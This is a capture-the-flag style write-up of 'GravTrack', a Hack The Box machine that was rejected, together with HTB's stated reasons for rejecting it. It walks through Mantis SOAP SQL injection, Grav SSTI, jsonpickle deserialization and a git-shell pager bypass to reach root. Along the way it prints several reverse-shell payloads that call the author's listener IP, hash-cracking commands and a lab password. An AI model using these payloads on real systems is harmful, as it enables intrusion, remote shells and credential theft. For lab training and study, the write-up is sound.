GravTrack - Hack The Box Rejected

In the last 2 months, my 2 machines were rejected by Hack The Box. This is my machine GravTrack which was rejected by Hack the Box. Now, I find myself here, writing about my experiences with GravTrack and the lessons I’ve learned along the way. In this blog post, I want to take you on a journey through my experience with this particular Hack The Box rejected machine.

Introduction

In this write-up, I will be discussing the approach, and technique to tackling the “GravTrack” machine. I wanted to highlight a few exploits in this machine: web application security and Privilege Escalation. Throughout the box, you will encounter a few vulnerabilities. For the initial access such as SQL Injection in the API SOAP (CVE-2020–28413) and Authenticated SSTI injection (CVE-2021- 29440). After that, the Json Pickle Remote code execution exploits will help you to escalate to the high-privilege account. For the privilege escalation, we will exploit misconfiguration using Git Shell Bypass By Abusing Less(CVE-2017–8386).

Enumeration

We have added the gravtrack.htb in the/etc/hosts file.

In the nmap we have found 4 open ports 21, 80, 5005, 8888

Enumerated with gobuster on port 80. We found a directory of admin and login.
Command: — $ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://gravtrack.htb -s 200 -b “”

On port 5005 we have an admin directory.

Nothing on port 8888 result

Visiting ports 80, 5005, and 8888.
On port 80 we have a grav login page. We don’t have a credential to log in. So, we can’t do anything without a password.

On port 8888 we have a login page. This is just a fake page/rabbit hole.

On port 5005 we got an admin directory. When we open the browser, it asks for the password. We don’t have a password.

If we give the wrong password. We will see the Authentication failed error.

Capture the request in the burp suite and then forward the request.

The realm parameter is a string that provides a description or identifier for the protected area or resource on the server.

Let’s put cac-move in our get request. We will get the original path.

Let’s open this path http://gravtrack.htb:8888/mantisCMS

Checked on Google MantisBT default creds

Used it and got a login. Here we have a few bug reports.

Read all the reports and found one that was submitted by a Larissa user. This is the hint once we get the Larissa user shell.

We enumerated and found version 2.24.3.

We searched on Google and found an exploit.

Foothold

We read the exploit and found that there is a SQL Injection vulnerability in the parameter “access” on the mc_project_get_users function through the API SOAP. Path of the API:- /api/soap/mantisconnect.php

Reference:
https://www.exploit-db.com/exploits/49340
https://ethicalhcop.medium.com/cve-2020-28413-blind-sql-injection-en-mantis-bug-tracker-2-24-3-api-soap-54238f8e046d

After visiting the page. We got a blank page.

Check the GitHub MantisBT official page for the files.

The vulnerability was present in the mc_project_get_users functionality.

Now download the mantisconnect.wsdl file and open it in the SoapUI tool.

The project is loaded successfully.

Now navigate to the mc_project_get_users. Double-click on the Request and it will open in a new tab.

According to the exploit we have to open the mc_project_get_users function and insert “username”, “password”, “project_id” could be 0 and “access” let it empty.

I am using Burp also to see the request response. To configure Burp with SOAP.
Here is the link: — https://bug-rider.medium.com/soapui-configuration-with-burpsuite-b082dadec5dc

I have enabled the proxy in the SOAPUI tool.

Hit the request and capture it in Burp Suite.

We will get 500 Internal Server Error. Which is normal.

Now change the username, password, and project ID.

When sending the “ access “ parameter without any value, the system returns an SQL error message telling us that there is an error in the syntax and returns the entire SQL command with the table name. It is confirmed that there is SQL injection is possible.

If we put the access value to 1 or anything. In the response, we can see the Usernames.

I used a Python script to exploit this SQL injection. Done 3 changes in the script. Username, Password, and Home.

Reference:
https://github.com/EthicalHCOP/CVE-2020-28413_Mantis2.24.3-SQLi-SOAP/blob/master/CVE-2020-28413.py

Now run the script and grab the hashes.
Command: — $ python .\mantissql.py — proxy=http://127.0.0.1:8080

Only administrator hash we can crack by Rockyou list. Rest all hashes can’t be cracked by John or hashcat. We can check the hashes on Google.

User Admin, Sahil, and Larissa’s hash passwords are available.

Reference: —
https://gist.github.com/lambasoft/46966797d3aeb247bf9d

We got the Grav page on port 80. We can log in on that page using Larissa’s password.

Username: larissa
Password: !@#Admin911
We can see the version of this CMS is 1.7.10.

We found an exploit i.e., Grav CMS 1.7.10 — Server-Side Template Injection (CVE-2021–29440) lead to RCE.

Note: — I have given page creation permission to Larissa User. The admin user name is “cyberrohit”.

Reference: —
https://github.com/CsEnox/CVE-2021-29440

I have used the GitHub script to exploit this version. We can do it manually and with Python script.
Method 1: Python script
Change the username, password, and URL

Command: — $python3 grav.py

We are in a non-interactive shell. We have to send .sh script to take a proper shell.
bash -i >& /dev/tcp/10.10.75.129/443 0>&1

Send the script into the box.

Method 2: Manually taking a shell
Go to the pages option.

Create a page.

In the Advanced tab, we can see a few options.

Go to the page and try the SSTI injection payload.
{{ system(‘id’) }}

To run this, we need to click an eye button. We got our SSTI injection successfully.

Take a reverse shell from here.
Command: — {{ system(‘rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.75.129 443 >/tmp/f’) }}

Lateral Movement

Run the linpeas to check for the next step. We can see that Flask is running on this machine.

To confirm, we can see port 5000 running on localhost

The vulnerability in the provided code lies in the way user information is stored and retrieved from cookies. Specifically, the vulnerability is related to the usage of the jsonpickle library for the serialization and deserialization of user objects.

The vulnerability in the provided code lies in the way it handles cookie data and performs deserialization. Specifically, the vulnerability is related to the following lines of code:
encoded_user = request.cookies.get(“username”)
decoded_user = jsonpickle.decode(base64.b64decode(encoded_user))

The code deserializes the cookie value retrieved from the “username” cookie using the jsonpickle.decode() function. Deserialization of untrusted data can potentially lead to security issues, such as deserialization attacks or remote code execution if the deserialized data is not properly validated.

Reference:-
https://www.vicarius.io/blog/research-exploiting-jsonpickle-to-get-rce https://medium.com/@0xbughunter/de-serialization-sometimes-pickle-can-be-too-sour-45c930e18b8e
https://versprite.com/vs-labs/into-the-jar-jsonpickle-exploitation/

Let’s check what is running on port 5000. Sets up a TCP listener on port 5001 that forwards incoming connections to localhost port 5000.

Command: — $ socat TCP-LISTEN:5001,fork,reuseaddr tcp:127.0.0.1:5000 &

We opened port 5001 in the browser and it redirected to the whoami page.

We can manipulate the value of the username cookie. Let’s craft the malicious payload. We will check the id command first.
{“py/object”:” main .Shell”, “py/reduce”:[{“py/function”:”os.system”},[“id”]], “username”: “GravTrack”}

Encode into base64 and forward the request. After forwarding the request we can’t see the out in the burp. In the response, we got 200 ok. It means the command was executed.

We can see the output running below the command.
Command: — $ sudo /bin/systemctl statusflaskrest.service

We got the output of the id command. Let’s try the hostname command and the whoami command.
{“py/object”:” main .Shell”, “py/reduce”:[{“py/function”:”os.system”},[“hostname”]], “username”: “GravTrack”}

Payload — {“py/object”:” main .Shell”, “py/reduce”:[{“py/function”:”os.system”},[“rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.234.128 443 >/tmp/f”]], “username”: “GravTrack”}

Privilege Escalation

Linpeas will not give any exploit path. But we have a git user also.

The user “git” might be used specifically for managing Git repositories. This user is typically created to provide a dedicated environment for Git operations, such as hosting Git repositories or managing Git-related services.
To determine if the system is running Git, you can check for the presence of Git binaries or Git-related services.

Command: — $ git — version

We have to do some research on Google about this git version. It’s a CVE-2017–8386

A vulnerability was found in git concerning the git-shell. A user who comes over SSH could run an interactive pager by causing it to spawn “git-receive -pack — -help”. Git-shell leads to arbitrary file reading and possibly arbitrary command execution vulnerabilities.

Git-shell only allows the execution of the following three commands by default:
git-receive-pack <argument>
git-upload-pack <argument>
git-upload-archive <argument>

We can run a ssh command on the git user. Port 22 is open on the local server. It is not accessible remotely.

When we tried to connect the git user using the ssh command. The connection was closed.

But if we run the ssh command with git-shell arguments.
Command: — $ ssh -t git@127.0.0.1 “git-receive-pack ‘ — help’”

The following part of the command, “git-receive-pack ‘ — help’”, is a command that is executed on the server. The reason this command can help bypass restrictions is related to the behavior of the “git-receive-pack” command when executed with the “ — help” option. On most systems, when a command is executed with “ — help”, it typically displays the manual or help page for that command.

In this case, the “git-receive-pack” command is being executed with “ — help” as an argument. The behavior of Git is to render the help page using ANSI formatting and pipe it into a pager, such as “less”. This allows the user to scroll through the help page, search for specific keywords, and navigate the content independent of their terminal size and capabilities.

We can read the /etc/passwd file. According to the exploit we have to Press “shift+e” to read any file. But we are in the non-interactive shell so we will use the “Examine:” command.

Reference: —
https://insinuator.net/2017/05/git-shell-bypass-by-abusing-less-cve-2017-8386/
https://www.leavesongs.com/PENETRATION/git-shell-cve-2017-8386.html

Misconfigured permission of the root directory. The root user has full read, write, and execute permissions, while the git group has read and execute permissions.

It means the git user can see the files of the root user. We tried to read the flag but we got access denied.

We can access the root user ssh key. Dump private key. Press ENTER command a few times to see the full key.
Command: — $ Examine: /root/.ssh/id_rsa

Crack the id_rsa key using ssh2john and john the ripper.
Command: — $ ssh2john id_rsa > id_rsa.hash
Command: — $ john — wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash

Give permission to the key and do ssh on the root user. It will prompt for a password. Password we have cracked from the id_rsa key.
Command: — $ chmod 400 id_rsa
Command: — $ ssh -i id_rsa root@127.0.0.1

Thanks for reading.
Hack The Box Profile: https://www.hackthebox.eu/profile/116842

Reason of rejection:-
Overall, our reviewers felt a bit overwhelmed by the number of steps and the technologies. It felt very CTF-like, and not realistic. The team really liked the Manits steps, and thought that could be a really nice foundation for a box. However, there are a few elements that definitely needed to be removed, including the fake login page and the old Git CVE (while it may be new to HTB, it just isn’t relevant today). Additionally, we didn’t understand why a site would have a whoami endpoint that just returned a cookie? We would recommend tightening the box up a bit, focusing on perhaps using the GravCMS vulnerability to get access to an internal Mantis instance.